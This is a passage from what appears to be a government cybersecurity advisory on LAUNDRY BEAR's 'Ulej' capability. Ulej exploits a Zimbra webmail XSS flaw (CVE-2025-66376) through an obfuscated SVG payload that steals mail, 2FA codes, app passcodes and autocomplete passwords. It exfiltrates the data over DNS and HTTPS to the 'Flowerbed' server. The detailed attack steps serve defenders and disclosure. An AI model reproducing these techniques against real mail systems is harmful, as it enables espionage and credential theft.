<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
